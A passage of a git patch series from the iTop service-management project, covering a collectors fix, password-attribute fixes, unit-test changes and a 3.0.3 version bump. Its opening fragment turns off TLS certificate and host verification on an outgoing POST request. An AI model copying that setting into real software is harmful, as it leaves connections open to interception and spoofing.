utils::DoPostRequest($sUrl, $aParams, null, $aResponseHeaders, []); + $sResult = utils::DoPostRequest($sUrl, $aParams, null, $aResponseHeaders, [ + CURLOPT_SSL_VERIFYPEER => false, + CURLOPT_SSL_VERIFYHOST => 0, + ]); // Read the status code from the last line $aLines = explode("\n", trim(strip_tags($sResult))); //$sLastLine = array_pop($aLines); From 6510dc5c512ed6e57d10fec61dd1ae6cb9c7ba08 Mon Sep 17 00:00:00 2001 From: acognet Date: Wed, 11 Jan 2023 09:47:53 +0100 Subject: [PATCH 181/230] =?UTF-8?q?N=C2=B03805=20-=20Collectors=20not=20wo?= =?UTF-8?q?rking=20on=20iTop=203.0=20(cherry=20picked=20from=204d7bac89f31?= =?UTF-8?q?05145828d3ffde17e4097eedfdfe0=20on=20origin/develop)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- sources/application/WebPage/CLILikeWebPage.php | 1 + templates/pages/backoffice/clilikewebpage/layout.html.twig | 5 +++++ 2 files changed, 6 insertions(+) create mode 100644 templates/pages/backoffice/clilikewebpage/layout.html.twig diff --git a/sources/application/WebPage/CLILikeWebPage.php b/sources/application/WebPage/CLILikeWebPage.php index e46fbb68f..c97cc7200 100644 --- a/sources/application/WebPage/CLILikeWebPage.php +++ b/sources/application/WebPage/CLILikeWebPage.php @@ -7,6 +7,7 @@ class CLILikeWebPage extends WebPage { + const DEFAULT_PAGE_TEMPLATE_REL_PATH = 'pages/backoffice/clilikewebpage/layout'; public function add_comment($sText) { $this->add('#'.$sText."
\n"); diff --git a/templates/pages/backoffice/clilikewebpage/layout.html.twig b/templates/pages/backoffice/clilikewebpage/layout.html.twig new file mode 100644 index 000000000..c6cf7b717 --- /dev/null +++ b/templates/pages/backoffice/clilikewebpage/layout.html.twig @@ -0,0 +1,5 @@ +{# @copyright Copyright (C) 2010-2021 Combodo SARL #} +{# @license http://opensource.org/licenses/AGPL-3.0 #} +{% apply spaceless %} + {{ render_block(oLayout, {aPage: aPage}) }} +{% endapply %} \ No newline at end of file From 03ac3d4e7cd8bfd061b6a9554db68392ef6d0a7d Mon Sep 17 00:00:00 2001 From: Molkobain Date: Wed, 8 Mar 2023 09:34:35 +0100 Subject: [PATCH 182/230] =?UTF-8?q?N=C2=B05784=20-=20Fix=20unit=20test=20f?= =?UTF-8?q?or=20PHP=208.2?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...ibuteDefTest.inc.php => AttributeDefinitionTest.inc.php} | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) rename tests/php-unit-tests/unitary-tests/core/{AttributeDefTest.inc.php => AttributeDefinitionTest.inc.php} (95%) diff --git a/tests/php-unit-tests/unitary-tests/core/AttributeDefTest.inc.php b/tests/php-unit-tests/unitary-tests/core/AttributeDefinitionTest.inc.php similarity index 95% rename from tests/php-unit-tests/unitary-tests/core/AttributeDefTest.inc.php rename to tests/php-unit-tests/unitary-tests/core/AttributeDefinitionTest.inc.php index fa70c5e3b..624642a13 100644 --- a/tests/php-unit-tests/unitary-tests/core/AttributeDefTest.inc.php +++ b/tests/php-unit-tests/unitary-tests/core/AttributeDefinitionTest.inc.php @@ -11,7 +11,7 @@ use MetaModel; * @preserveGlobalState disabled * @backupGlobals disabled */ -class AttributeDefTest extends ItopDataTestCase { +class AttributeDefinitionTest extends ItopDataTestCase { const CREATE_TEST_ORG = true; protected function setUp(): void { @@ -86,7 +86,7 @@ PHP, <<Get('contacts_list'); -\$ormLinkset->AddItem(MetaModel::NewObject('Person', [])); +\$ormLinkset->AddItem(MetaModel::NewObject('lnkContactToTicket', [])); \$oObject->Set('contacts_list', \$ormLinkset); PHP, false, @@ -164,7 +164,7 @@ PHP, 'UserLocal', 'password', <<Set('password', \$ormPassword); PHP, From 0c3cdb202bab932615be318132afd9395590adcf Mon Sep 17 00:00:00 2001 From: Molkobain Date: Wed, 8 Mar 2023 09:36:52 +0100 Subject: [PATCH 183/230] =?UTF-8?q?N=C2=B05784=20-=20Fix=20ormPassword::Is?= =?UTF-8?q?Empty()=20using=20the=20wrong=20class=20property?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/ormpassword.class.inc.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/ormpassword.class.inc.php b/core/ormpassword.class.inc.php index 5faf263f6..4e9d88843 100644 --- a/core/ormpassword.class.inc.php +++ b/core/ormpassword.class.inc.php @@ -66,7 +66,7 @@ class ormPassword public function IsEmpty() { - return ($this->m_hashed == null); + return ($this->m_sHashed == null); } public function GetHash() From 0ba386c0bcc82386ab48ce4f621697bd45514de9 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Wed, 8 Mar 2023 09:47:42 +0100 Subject: [PATCH 184/230] =?UTF-8?q?N=C2=B05784=20-=20Rename=20unit=20test?= =?UTF-8?q?=20file=20to=20match=20convention?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...ttributeDefinitionTest.inc.php => AttributeDefinitionTest.php} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename tests/php-unit-tests/unitary-tests/core/{AttributeDefinitionTest.inc.php => AttributeDefinitionTest.php} (100%) diff --git a/tests/php-unit-tests/unitary-tests/core/AttributeDefinitionTest.inc.php b/tests/php-unit-tests/unitary-tests/core/AttributeDefinitionTest.php similarity index 100% rename from tests/php-unit-tests/unitary-tests/core/AttributeDefinitionTest.inc.php rename to tests/php-unit-tests/unitary-tests/core/AttributeDefinitionTest.php From 15f32bf843ff7f8f94537055694fe89778a76c5b Mon Sep 17 00:00:00 2001 From: Molkobain Date: Wed, 8 Mar 2023 10:04:59 +0100 Subject: [PATCH 185/230] =?UTF-8?q?N=C2=B05784=20-=20Fix=20ormPassword::Is?= =?UTF-8?q?Empty()=20method?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/ormpassword.class.inc.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/ormpassword.class.inc.php b/core/ormpassword.class.inc.php index 4e9d88843..343184ba3 100644 --- a/core/ormpassword.class.inc.php +++ b/core/ormpassword.class.inc.php @@ -66,7 +66,7 @@ class ormPassword public function IsEmpty() { - return ($this->m_sHashed == null); + return utils::IsNullOrEmptyString($this->m_sHashed); } public function GetHash() From 4bfc1747b754022b682e81e928891307db7ed966 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Wed, 8 Mar 2023 10:54:55 +0100 Subject: [PATCH 186/230] =?UTF-8?q?N=C2=B05784=20-=20Fix=20AttributeOneWay?= =?UTF-8?q?Password::HasAValue()=20implementation?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/attributedef.class.inc.php | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/core/attributedef.class.inc.php b/core/attributedef.class.inc.php index 4692ff52b..bf874e4bf 100644 --- a/core/attributedef.class.inc.php +++ b/core/attributedef.class.inc.php @@ -9762,10 +9762,14 @@ class AttributeOneWayPassword extends AttributeDefinition implements iAttributeN { // Protection against wrong value type if (false === ($proposedValue instanceof ormPassword)) { + // On object creation, the attribute value is "" instead of an ormPassword... + if (is_string($proposedValue)) { + return utils::IsNotNullOrEmptyString($proposedValue); + } return parent::HasAValue($proposedValue); } - return $proposedValue->IsEmpty() !== false; + return $proposedValue->IsEmpty() === false; } } From 5ee6223434b3e217a7c81d1dc5079a9af2dc7861 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Fri, 10 Mar 2023 16:04:55 +0100 Subject: [PATCH 187/230] =?UTF-8?q?:white=5Fcheck=5Fmark:=20N=C2=B05893=20?= =?UTF-8?q?Add=20test=20for=20\TriggerOnObject::LogException?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../unitary-tests/core/TriggerTest.php | 67 +++++++++++++------ 1 file changed, 47 insertions(+), 20 deletions(-) diff --git a/tests/php-unit-tests/unitary-tests/core/TriggerTest.php b/tests/php-unit-tests/unitary-tests/core/TriggerTest.php index 87b41001e..bf91d28b9 100644 --- a/tests/php-unit-tests/unitary-tests/core/TriggerTest.php +++ b/tests/php-unit-tests/unitary-tests/core/TriggerTest.php @@ -4,7 +4,10 @@ namespace Combodo\iTop\Test\UnitTest\Core; use Combodo\iTop\Test\UnitTest\ItopDataTestCase; use ContextTag; +use Exception; +use IssueLog; use MetaModel; +use Person; use TriggerOnObjectCreate; /** @@ -14,7 +17,6 @@ use TriggerOnObjectCreate; * * @runTestsInSeparateProcesses */ - class TriggerTest extends ItopDataTestCase { const USE_TRANSACTION = false; @@ -40,33 +42,29 @@ class TriggerTest extends ItopDataTestCase public function testEnrichRaisedException_Trigger() { $oTrigger = MetaModel::NewObject('TriggerOnObjectCreate'); - try - { - try - { + try { + try { MetaModel::NewObject('Toto'); } - catch (\Exception $e) - { + catch (\Exception $e) { \utils::EnrichRaisedException($oTrigger, $e); } $this->assertTrue(false, "An exception should have been thrown"); } - catch(\CoreException $e1) - { + catch (\CoreException $e1) { $this->assertEquals('CoreException', get_class($e1)); $this->assertEquals('Unknown class \'Toto\' (TriggerOnObjectCreate::-1 ()
)', $e1->getMessage()); $fullStackTraceAsString = $e1->getFullStackTraceAsString(); - $this->assertContains("MetaModel::NewObject", $fullStackTraceAsString,"new enriched exception should contain root cause method: " . $fullStackTraceAsString); + $this->assertContains("MetaModel::NewObject", $fullStackTraceAsString, "new enriched exception should contain root cause method: ".$fullStackTraceAsString); } } public function NoEnrichmentProvider() { return [ - [ null ], - [ new NonCmdbAbstractObject() ], + [null], + [new NonCmdbAbstractObject()], ] ; } @@ -76,23 +74,52 @@ class TriggerTest extends ItopDataTestCase */ public function testEnrichRaisedException_NoEnrichment($oCmdbAbstract) { - try - { - try - { + try { + try { MetaModel::NewObject('CoreException'); } - catch (\Exception $e) - { + catch (\Exception $e) { \utils::EnrichRaisedException($oCmdbAbstract, $e); } $this->assertTrue(false, "An exception should have been thrown"); } - catch(\Exception $e1) - { + catch (\Exception $e1) { $this->assertEquals($e, $e1); } } + + public function testLogException() + { + $sTestLogPath = APPROOT.'log/TriggerTest__testLogException.log'; + IssueLog::Enable($sTestLogPath); + + try { + $oPerson1 = MetaModel::GetObject(Person::class, 1, true); + $sExceptionMessage = 'My test exception message'; + $oException = new Exception($sExceptionMessage); + + /** @var TriggerOnObjectCreate $oTrigger */ + $oTrigger = MetaModel::NewObject(TriggerOnObjectCreate::class, [ + 'description' => 'my trigger description', + ]); + $oTrigger->DBWrite(); + $oTrigger->LogException($oException, $oPerson1); + + $sTestLogFileContent = file_get_contents($sTestLogPath); + + $this->assertContains('A trigger did throw an exception', $sTestLogFileContent); + + $this->assertContains($oPerson1->GetKey(), $sTestLogFileContent); + /** @noinspection GetClassUsageInspection */ + $this->assertContains(get_class($oPerson1), $sTestLogFileContent); + $this->assertContains($oPerson1->GetRawName(), $sTestLogFileContent); + + $this->assertContains($sExceptionMessage, $sTestLogFileContent); + } + finally { + IssueLog::Enable(APPROOT.'log/error.log'); + } + } } class NonCmdbAbstractObject{ From ac7abb3049642e162f19face0c26f8e549abdc4a Mon Sep 17 00:00:00 2001 From: Molkobain Date: Tue, 14 Mar 2023 09:55:18 +0100 Subject: [PATCH 188/230] Prepare iTop 3.0.3 release * Increase constants version to 3.0.3 * Increase modules version to 3.0.3 * Update licenses file --- approot.inc.php | 2 +- .../2.x/authent-cas/module.authent-cas.php | 2 +- .../module.authent-external.php | 2 +- .../2.x/authent-ldap/module.authent-ldap.php | 2 +- .../authent-local/module.authent-local.php | 2 +- ...dule.combodo-backoffice-darkmoon-theme.php | 2 +- .../module.combodo-db-tools.php | 2 +- .../module.itop-attachments.php | 2 +- .../2.x/itop-backup/module.itop-backup.php | 2 +- .../module.itop-bridge-cmdb-ticket.php | 2 +- ...ule.itop-bridge-virtualization-storage.php | 2 +- .../module.itop-change-mgmt-itil.php | 2 +- .../module.itop-change-mgmt.php | 2 +- .../module.itop-config-mgmt.php | 2 +- .../2.x/itop-config/module.itop-config.php | 2 +- .../module.itop-core-update.php | 2 +- .../module.itop-datacenter-mgmt.php | 2 +- .../module.itop-endusers-devices.php | 2 +- .../itop-faq-light/module.itop-faq-light.php | 2 +- .../module.itop-files-information.php | 2 +- .../itop-full-itil/module.itop-full-itil.php | 2 +- .../module.itop-hub-connector.php | 2 +- .../module.itop-incident-mgmt-itil.php | 2 +- .../module.itop-knownerror-mgmt.php | 2 +- .../module.itop-oauth-client.php | 2 +- .../module.itop-portal-base.php | 2 +- .../2.x/itop-portal/module.itop-portal.php | 2 +- .../module.itop-problem-mgmt.php | 2 +- .../module.itop-profiles-itil.php | 2 +- .../module.itop-request-mgmt-itil.php | 2 +- .../module.itop-request-mgmt.php | 2 +- .../module.itop-service-mgmt-provider.php | 2 +- .../module.itop-service-mgmt.php | 2 +- .../module.itop-sla-computation.php | 2 +- .../module.itop-storage-mgmt.php | 2 +- .../itop-structure/module.itop-structure.php | 2 +- .../module.itop-themes-compat.php | 2 +- .../2.x/itop-tickets/module.itop-tickets.php | 2 +- .../module.itop-virtualization-mgmt.php | 2 +- .../module.itop-welcome-itil.php | 2 +- datamodels/2.x/version.xml | 2 +- setup/licenses/community-licenses.xml | 1972 +++-------------- 42 files changed, 358 insertions(+), 1696 deletions(-) diff --git a/approot.inc.php b/approot.inc.php index 5ac60b2e4..f2a70685b 100644 --- a/approot.inc.php +++ b/approot.inc.php @@ -23,6 +23,6 @@ define('ITOP_DESIGN_LATEST_VERSION', '3.0'); * @used-by utils::GetItopVersionWikiSyntax() * @used-by iTopModulesPhpVersionIntegrationTest */ -define('ITOP_CORE_VERSION', '3.0.2'); +define('ITOP_CORE_VERSION', '3.0.3'); require_once APPROOT.'bootstrap.inc.php'; diff --git a/datamodels/2.x/authent-cas/module.authent-cas.php b/datamodels/2.x/authent-cas/module.authent-cas.php index 2e1a6cbf7..49c988332 100644 --- a/datamodels/2.x/authent-cas/module.authent-cas.php +++ b/datamodels/2.x/authent-cas/module.authent-cas.php @@ -5,7 +5,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'authent-cas/3.0.2', + 'authent-cas/3.0.3', array( // Identification // diff --git a/datamodels/2.x/authent-external/module.authent-external.php b/datamodels/2.x/authent-external/module.authent-external.php index 1eed031c2..2677c4e01 100755 --- a/datamodels/2.x/authent-external/module.authent-external.php +++ b/datamodels/2.x/authent-external/module.authent-external.php @@ -27,7 +27,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'authent-external/3.0.2', + 'authent-external/3.0.3', array( // Identification // diff --git a/datamodels/2.x/authent-ldap/module.authent-ldap.php b/datamodels/2.x/authent-ldap/module.authent-ldap.php index 2d5771bed..4d1f29ccd 100755 --- a/datamodels/2.x/authent-ldap/module.authent-ldap.php +++ b/datamodels/2.x/authent-ldap/module.authent-ldap.php @@ -9,7 +9,7 @@ if (function_exists('ldap_connect')) SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'authent-ldap/3.0.2', + 'authent-ldap/3.0.3', array( // Identification // diff --git a/datamodels/2.x/authent-local/module.authent-local.php b/datamodels/2.x/authent-local/module.authent-local.php index ed314d74b..80ba347dc 100755 --- a/datamodels/2.x/authent-local/module.authent-local.php +++ b/datamodels/2.x/authent-local/module.authent-local.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'authent-local/3.0.2', + 'authent-local/3.0.3', array( // Identification // diff --git a/datamodels/2.x/combodo-backoffice-darkmoon-theme/module.combodo-backoffice-darkmoon-theme.php b/datamodels/2.x/combodo-backoffice-darkmoon-theme/module.combodo-backoffice-darkmoon-theme.php index 6de2cfc13..3b439d281 100644 --- a/datamodels/2.x/combodo-backoffice-darkmoon-theme/module.combodo-backoffice-darkmoon-theme.php +++ b/datamodels/2.x/combodo-backoffice-darkmoon-theme/module.combodo-backoffice-darkmoon-theme.php @@ -5,7 +5,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'combodo-backoffice-darkmoon-theme/3.0.2', + 'combodo-backoffice-darkmoon-theme/3.0.3', array( // Identification // diff --git a/datamodels/2.x/combodo-db-tools/module.combodo-db-tools.php b/datamodels/2.x/combodo-db-tools/module.combodo-db-tools.php index dd9fe4087..7efb878b7 100644 --- a/datamodels/2.x/combodo-db-tools/module.combodo-db-tools.php +++ b/datamodels/2.x/combodo-db-tools/module.combodo-db-tools.php @@ -24,7 +24,7 @@ /** @noinspection PhpUnhandledExceptionInspection */ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'combodo-db-tools/3.0.2', + 'combodo-db-tools/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-attachments/module.itop-attachments.php b/datamodels/2.x/itop-attachments/module.itop-attachments.php index 3c7ff8c52..65e5627d7 100644 --- a/datamodels/2.x/itop-attachments/module.itop-attachments.php +++ b/datamodels/2.x/itop-attachments/module.itop-attachments.php @@ -19,7 +19,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-attachments/3.0.2', + 'itop-attachments/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-backup/module.itop-backup.php b/datamodels/2.x/itop-backup/module.itop-backup.php index a5f638d00..afcd02714 100644 --- a/datamodels/2.x/itop-backup/module.itop-backup.php +++ b/datamodels/2.x/itop-backup/module.itop-backup.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-backup/3.0.2', + 'itop-backup/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-bridge-cmdb-ticket/module.itop-bridge-cmdb-ticket.php b/datamodels/2.x/itop-bridge-cmdb-ticket/module.itop-bridge-cmdb-ticket.php index aac16ded9..23a1b7823 100644 --- a/datamodels/2.x/itop-bridge-cmdb-ticket/module.itop-bridge-cmdb-ticket.php +++ b/datamodels/2.x/itop-bridge-cmdb-ticket/module.itop-bridge-cmdb-ticket.php @@ -5,7 +5,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-bridge-cmdb-ticket/3.0.2', + 'itop-bridge-cmdb-ticket/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-bridge-virtualization-storage/module.itop-bridge-virtualization-storage.php b/datamodels/2.x/itop-bridge-virtualization-storage/module.itop-bridge-virtualization-storage.php index b80d21703..017e38ec1 100644 --- a/datamodels/2.x/itop-bridge-virtualization-storage/module.itop-bridge-virtualization-storage.php +++ b/datamodels/2.x/itop-bridge-virtualization-storage/module.itop-bridge-virtualization-storage.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-bridge-virtualization-storage/3.0.2', + 'itop-bridge-virtualization-storage/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-change-mgmt-itil/module.itop-change-mgmt-itil.php b/datamodels/2.x/itop-change-mgmt-itil/module.itop-change-mgmt-itil.php index 0e518ff69..fa8acf85f 100755 --- a/datamodels/2.x/itop-change-mgmt-itil/module.itop-change-mgmt-itil.php +++ b/datamodels/2.x/itop-change-mgmt-itil/module.itop-change-mgmt-itil.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-change-mgmt-itil/3.0.2', + 'itop-change-mgmt-itil/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-change-mgmt/module.itop-change-mgmt.php b/datamodels/2.x/itop-change-mgmt/module.itop-change-mgmt.php index e71cf33da..82598f4cc 100755 --- a/datamodels/2.x/itop-change-mgmt/module.itop-change-mgmt.php +++ b/datamodels/2.x/itop-change-mgmt/module.itop-change-mgmt.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-change-mgmt/3.0.2', + 'itop-change-mgmt/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-config-mgmt/module.itop-config-mgmt.php b/datamodels/2.x/itop-config-mgmt/module.itop-config-mgmt.php index 9ba9e3777..574a3eb9e 100755 --- a/datamodels/2.x/itop-config-mgmt/module.itop-config-mgmt.php +++ b/datamodels/2.x/itop-config-mgmt/module.itop-config-mgmt.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-config-mgmt/3.0.2', + 'itop-config-mgmt/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-config/module.itop-config.php b/datamodels/2.x/itop-config/module.itop-config.php index 9e8692b2e..f6d50b8bf 100644 --- a/datamodels/2.x/itop-config/module.itop-config.php +++ b/datamodels/2.x/itop-config/module.itop-config.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-config/3.0.2', + 'itop-config/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-core-update/module.itop-core-update.php b/datamodels/2.x/itop-core-update/module.itop-core-update.php index ae17c8464..0ee5be04d 100644 --- a/datamodels/2.x/itop-core-update/module.itop-core-update.php +++ b/datamodels/2.x/itop-core-update/module.itop-core-update.php @@ -24,7 +24,7 @@ /** @noinspection PhpUnhandledExceptionInspection */ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-core-update/3.0.2', + 'itop-core-update/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-datacenter-mgmt/module.itop-datacenter-mgmt.php b/datamodels/2.x/itop-datacenter-mgmt/module.itop-datacenter-mgmt.php index 31d3fd3b7..5be91fa88 100755 --- a/datamodels/2.x/itop-datacenter-mgmt/module.itop-datacenter-mgmt.php +++ b/datamodels/2.x/itop-datacenter-mgmt/module.itop-datacenter-mgmt.php @@ -18,7 +18,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-datacenter-mgmt/3.0.2', + 'itop-datacenter-mgmt/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-endusers-devices/module.itop-endusers-devices.php b/datamodels/2.x/itop-endusers-devices/module.itop-endusers-devices.php index c47740d71..ddc07a0ed 100644 --- a/datamodels/2.x/itop-endusers-devices/module.itop-endusers-devices.php +++ b/datamodels/2.x/itop-endusers-devices/module.itop-endusers-devices.php @@ -25,7 +25,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-endusers-devices/3.0.2', + 'itop-endusers-devices/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-faq-light/module.itop-faq-light.php b/datamodels/2.x/itop-faq-light/module.itop-faq-light.php index fe6dd47cc..d3a9215e8 100755 --- a/datamodels/2.x/itop-faq-light/module.itop-faq-light.php +++ b/datamodels/2.x/itop-faq-light/module.itop-faq-light.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-faq-light/3.0.2', + 'itop-faq-light/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-files-information/module.itop-files-information.php b/datamodels/2.x/itop-files-information/module.itop-files-information.php index a694f8a0b..1cd309c3c 100644 --- a/datamodels/2.x/itop-files-information/module.itop-files-information.php +++ b/datamodels/2.x/itop-files-information/module.itop-files-information.php @@ -24,7 +24,7 @@ /** @noinspection PhpUnhandledExceptionInspection */ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-files-information/3.0.2', + 'itop-files-information/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-full-itil/module.itop-full-itil.php b/datamodels/2.x/itop-full-itil/module.itop-full-itil.php index 913261024..101c6adea 100644 --- a/datamodels/2.x/itop-full-itil/module.itop-full-itil.php +++ b/datamodels/2.x/itop-full-itil/module.itop-full-itil.php @@ -6,7 +6,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-full-itil/3.0.2', + 'itop-full-itil/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-hub-connector/module.itop-hub-connector.php b/datamodels/2.x/itop-hub-connector/module.itop-hub-connector.php index fc2857b4e..1fc6d332f 100644 --- a/datamodels/2.x/itop-hub-connector/module.itop-hub-connector.php +++ b/datamodels/2.x/itop-hub-connector/module.itop-hub-connector.php @@ -5,7 +5,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-hub-connector/3.0.2', + 'itop-hub-connector/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-incident-mgmt-itil/module.itop-incident-mgmt-itil.php b/datamodels/2.x/itop-incident-mgmt-itil/module.itop-incident-mgmt-itil.php index 1b0dd61c6..7fe01c79c 100755 --- a/datamodels/2.x/itop-incident-mgmt-itil/module.itop-incident-mgmt-itil.php +++ b/datamodels/2.x/itop-incident-mgmt-itil/module.itop-incident-mgmt-itil.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-incident-mgmt-itil/3.0.2', + 'itop-incident-mgmt-itil/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-knownerror-mgmt/module.itop-knownerror-mgmt.php b/datamodels/2.x/itop-knownerror-mgmt/module.itop-knownerror-mgmt.php index 058244ccb..7d631d3b6 100755 --- a/datamodels/2.x/itop-knownerror-mgmt/module.itop-knownerror-mgmt.php +++ b/datamodels/2.x/itop-knownerror-mgmt/module.itop-knownerror-mgmt.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-knownerror-mgmt/3.0.2', + 'itop-knownerror-mgmt/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-oauth-client/module.itop-oauth-client.php b/datamodels/2.x/itop-oauth-client/module.itop-oauth-client.php index 2cbdffcbd..5702387f0 100644 --- a/datamodels/2.x/itop-oauth-client/module.itop-oauth-client.php +++ b/datamodels/2.x/itop-oauth-client/module.itop-oauth-client.php @@ -5,7 +5,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-oauth-client/3.0.2', + 'itop-oauth-client/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-portal-base/module.itop-portal-base.php b/datamodels/2.x/itop-portal-base/module.itop-portal-base.php index b0ca5ba0c..d5cc217b7 100644 --- a/datamodels/2.x/itop-portal-base/module.itop-portal-base.php +++ b/datamodels/2.x/itop-portal-base/module.itop-portal-base.php @@ -20,7 +20,7 @@ /** @noinspection PhpUnhandledExceptionInspection */ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-portal-base/3.0.2', array( + 'itop-portal-base/3.0.3', array( // Identification 'label' => 'Portal Development Library', 'category' => 'Portal', diff --git a/datamodels/2.x/itop-portal/module.itop-portal.php b/datamodels/2.x/itop-portal/module.itop-portal.php index 671f10f7a..630d8fd0e 100644 --- a/datamodels/2.x/itop-portal/module.itop-portal.php +++ b/datamodels/2.x/itop-portal/module.itop-portal.php @@ -20,7 +20,7 @@ /** @noinspection PhpUnhandledExceptionInspection */ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-portal/3.0.2', array( + 'itop-portal/3.0.3', array( // Identification 'label' => 'Enhanced Customer Portal', 'category' => 'Portal', diff --git a/datamodels/2.x/itop-problem-mgmt/module.itop-problem-mgmt.php b/datamodels/2.x/itop-problem-mgmt/module.itop-problem-mgmt.php index 873406dd1..cab3acbeb 100755 --- a/datamodels/2.x/itop-problem-mgmt/module.itop-problem-mgmt.php +++ b/datamodels/2.x/itop-problem-mgmt/module.itop-problem-mgmt.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-problem-mgmt/3.0.2', + 'itop-problem-mgmt/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-profiles-itil/module.itop-profiles-itil.php b/datamodels/2.x/itop-profiles-itil/module.itop-profiles-itil.php index 8860dc4f4..315e4a964 100755 --- a/datamodels/2.x/itop-profiles-itil/module.itop-profiles-itil.php +++ b/datamodels/2.x/itop-profiles-itil/module.itop-profiles-itil.php @@ -19,7 +19,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-profiles-itil/3.0.2', + 'itop-profiles-itil/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-request-mgmt-itil/module.itop-request-mgmt-itil.php b/datamodels/2.x/itop-request-mgmt-itil/module.itop-request-mgmt-itil.php index 78d4e5a1e..5feb48952 100755 --- a/datamodels/2.x/itop-request-mgmt-itil/module.itop-request-mgmt-itil.php +++ b/datamodels/2.x/itop-request-mgmt-itil/module.itop-request-mgmt-itil.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-request-mgmt-itil/3.0.2', + 'itop-request-mgmt-itil/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-request-mgmt/module.itop-request-mgmt.php b/datamodels/2.x/itop-request-mgmt/module.itop-request-mgmt.php index 1359df8ae..2aa5b2faf 100755 --- 